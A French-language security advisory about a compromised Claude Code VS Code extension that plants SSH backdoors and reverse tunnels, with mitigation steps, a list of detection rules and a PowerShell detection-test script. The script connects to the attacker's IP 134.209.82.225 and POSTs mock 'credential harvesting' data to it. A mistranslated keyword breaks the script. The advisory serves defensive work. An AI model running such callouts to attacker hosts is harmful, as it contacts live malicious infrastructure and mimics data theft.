SOC Prime Bias: Critical

03 Nov 2026 14:10 UTC

Compromission de l’extension Claude Code : Avis de Sécurité

Author Photo
SOC Prime Team linkedin icon Suivre
Compromission de l’extension Claude Code : Avis de Sécurité
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Une version compromise du Claude Code officiel pour l’extension VS Code, version 2.1.313, a été identifiée sur le Cursor Marketplace. Le malware établit une porte dérobée SSH persistante sur macOS, Linux et Windows en modifiant authorized_keys et en créant des tunnels SSH inversés. Il effectue également une reconnaissance de l’hôte pour découvrir des variables d’environnement sensibles et des identifiants potentiellement exposés.

Enquête

Phorion a identifié une IIFE injectée à l’intérieur du bundle minimisé de l’extension qui s’exécute immédiatement lorsque l’extension se charge. L’enquête a montré que le malware tente d’activer les services SSH et utilise des clés Ed25519 spécifiques pour l’authentification des victimes et l’établissement du tunnel inversé. Les chercheurs ont également identifié des failles d’implémentation dans la logique macOS et Windows qui peuvent limiter sa capacité à activer les services sans privilèges existants.

Atténuation

Les organisations doivent immédiatement identifier et retirer la version 2.1.313 de l’extension Claude Code pour VS Code. Sur macOS, les utilisateurs doivent décharger et supprimer le com.apple.sysmond.plist LaunchAgent. Les équipes de sécurité doivent également inspecter les configurations SSH et retirer la clé publique svc-telemetry des authorized_keys fichiers affectés.

Réponse

Lorsqu’une compromission est détectée, terminez les processus de tunnel actifs, y compris les boucles d’essai de shell détachées et les ssh or processus autossh se connectant à 134.209.82.225. Supprimez les artefacts de persistance, y compris les entrées cron, les tâches planifiées et les scripts cachés stockés dans les répertoires .config . Critiquement, changez tous les identifiants et les jetons API qui ont été exposés via les variables d’environnement sur l’hôte affecté.

Flux d’attaque

Nous mettons encore à jour cette partie.

Détections

Tentative de communication possible avec le domaine de recherche IP (via dns)

Équipe SOC Prime
02 nov. 2026

Binaire/Script suspect dans l’emplacement d’autostart (via file_event)

Équipe SOC Prime
30 oct. 2026

Communications C2 possibles sur HTTP vers IP directe avec un port peu commun (via proxy)

Équipe SOC Prime
30 oct. 2026

Un fichier caché a été créé sur l’hôte Linux (via file_event)

Équipe SOC Prime
30 oct. 2026

IOCs (HashSha256) à détecter: Compromission de l’extension Claude Code officielle: Avis de sécurité

Règles IA SOC Prime
30 oct. 2026

IOCs (SourceIP) à détecter: Compromission de l’extension Claude Code officielle: Avis de sécurité

Règles IA SOC Prime
30 oct. 2026

IOCs (DestinationIP) à détecter: Compromission de l’extension Claude Code officielle: Avis de sécurité

Règles IA SOC Prime
30 oct. 2026

Activité SSH suspecte détectée vers une adresse IP malveillante connue [Connexion réseau Windows]

Règles IA SOC Prime
30 oct. 2026

Détection de la porte dérobée dans l’extension Claude Code VS Code sur macOS [Événement de fichier Linux]

Règles IA SOC Prime
30 oct. 2026

Exécution de la simulation

  • Narratif de l’attaque & Commandes: L’adversaire, ayant obtenu un accès initial, vise à établir un tunnel C2 persistant. Il initie une connexion SSH à 134.209.82.225 sur le port 22 pour créer un tunnel sécurisé pour le mouvement latéral. Immédiatement après, l’agent malveillant exécute une requête HTTP POST à http://134.209.82.225:8099 contenant des informations système encodées. Cette séquence spécifique de « SSH + HTTP POST vers la même IP » est conçue pour déclencher la condition de la règle : selection_ssh et selection_http.

  • Script de test de régression:

    # Script de simulation: Déclenchement d'une activité suspecte de SSH et HTTP POST
    $TargetIP = "134.209.82.225"
    $SSHPort = 22
    $HTTPPort = 8099
    
    Write-Host "[+] Début de la simulation..." -ForegroundColor Cyan
    
    # Étape 1: Simuler la connexion SSH (en utilisant Test-NetConnection pour générer Sysmon ID 3)
    Write-Host "[+] Étape 1: Simulation de la connexion SSH sortante à $TargetIP sur le port $SSHPort"
    Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue
    
    # Étape 2: Simuler la requête HTTP POST (en utilisant Invoke-WebRequest)
    Write-Host "[+] Étape 2: Simulation de l'émission HTTP POST à $TargetIP sur le port $HTTPPort"
    essayer {
        # Nous utilisons un délai d'attente court pour éviter que le script ne se bloque si l'IP est inaccessible
        $payload = @{ data = "simulated_credential_harvesting_data" }
        Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5
    } catch {
        Write-Host "[!] Requête HTTP échouée (attendue si l'IP est hors ligne), mais la télémétrie devrait avoir été générée." -ForegroundColor Yellow
    }
    
    Write-Host "[+] Commandes de simulation exécutées." -ForegroundColor Green
  • Commandes de nettoyage:

    # Aucun changement persistant n'a été apporté au système durant cette simulation.
    # Aucun fichier n'a été créé, et aucun service n'a été réellement installé.
    Write-Host "[+] Nettoyage terminé. Aucun artefact à supprimer." -ForegroundColor Green